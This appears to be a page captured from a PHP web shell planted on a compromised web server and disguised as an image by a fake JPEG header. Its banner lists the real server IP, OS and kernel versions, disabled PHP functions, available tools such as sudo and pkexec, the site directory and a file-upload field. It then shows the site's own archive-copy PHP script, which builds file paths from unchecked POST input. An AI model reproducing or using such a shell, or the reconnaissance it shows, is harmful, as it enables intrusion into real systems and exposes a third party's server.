????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.143.7.5 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/archive/ |
Upload File : |
<?php session_start(); function rrmdir($dir) { if (is_dir($dir)) { $objects = scandir($dir); foreach ($objects as $object) { if ($object != "." && $object != "..") { if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object); } } reset($objects); rmdir($dir); } } function getFilesFromDir($dir) { $files = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") { if(is_dir($dir.'/'.$file)) { $dir2 = $dir.'/'.$file; $files[] = getFilesFromDir($dir2); } else { $files[] = $dir.'/'.$file; } } } closedir($handle); } return array_flat($files); } function array_flat($array) { foreach($array as $a) { if(is_array($a)) { $tmp = array_merge($tmp, array_flat($a)); } else { $tmp[] = $a; } } return $tmp; } function AddPath($PathToCreate){ $iBreak = 0; $iBreak = strrpos($PathToCreate, "/"); if($iBreak !== FALSE){ $Parent = substr($PathToCreate, 0, $iBreak); if(!@chdir($Parent)){ AddPath($Parent); } } if(!@chdir($PathToCreate)){ mkdir($PathToCreate); } } function recurse_copy($src,$dst) { $target_encoding = "ISO-8859-1//IGNORE"; // $src = iconv($target_encoding,"UTF-8", $src); // $dst = iconv($target_encoding,"UTF-8", $dst); if(is_file($src)){ $d1 = dirname($src)."/"; $d2 = dirname($dst)."/"; if(is_dir($d1)){ AddPath($d2); // @mkdir( iconv($target_encoding,"UTF-8",$d2)); copy($src,$dst); } }else{ $dir = opendir($src); @mkdir($dst); while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' )) { if ( is_dir($src . '/' . $file) ) { recurse_copy($src . '/' . $file,$dst . '/' . $file); } else { copy($src . '/' . $file,$dst . '/' . $file); } } } closedir($dir); } } if($_POST['count_files'] != ""){ $_SESSION['copy_files'] = ""; } if($_POST['project'] != ""){ $_SESSION['copy_files_projectid'] = $_POST['project']; } $file_array = array(); for($i = 0; $i < $_POST['count_files'];$i++){ if($_POST['checkbox'.$i] != ""){ $file_array[] = $_POST['checkbox'.$i]; } } if($_SESSION['copy_files'] == ""){ $_SESSION['copy_files'] = $file_array; } // COPY TO ICAD $mess = ""; $CompanyId = $_SESSION['ASTACUS_SSO_INFO'][4]; $copy_array = $_SESSION['copy_files']; $ProjectId = $_SESSION['copy_files_projectid']; $ra = rand(1000000000,9000000000); AddPath("/var/www/icad_files/$CompanyId/archive_download/$ra/"); for($i = 0; $i < count($copy_array);$i++){ $from = "/var/www/icad_files/$CompanyId/archive/".$copy_array[$i]; $to = "/var/www/icad_files/$CompanyId/archive_download/$ra/".$copy_array[$i]; $from= str_replace("//","/",$from); $to = str_replace("//","/",$to); recurse_copy($from,$to); } session_start(); $CompanyId = $_SESSION['ASTACUS_SSO_INFO'][4]; $path = "/var/www/icad_files/$CompanyId/archive_download/$ra/"; echo($path); //$filename = $CompanyId."_".date("Y-m-d_his").".zip"; // exec("zip -r /var/www/icad_files/ZIP/".$filename." ".$path); //header('Content-type: application/zip'); // It will be called downloaded.pdf //$path = "/var/www/icad_files/ZIP/".$filename; //header('Content-Disposition: attachment; filename="'.$filename.'"'); //header("Content-Transfer-Encoding: binary"); // The PDF source is in original.pdf //readfile($path); ?>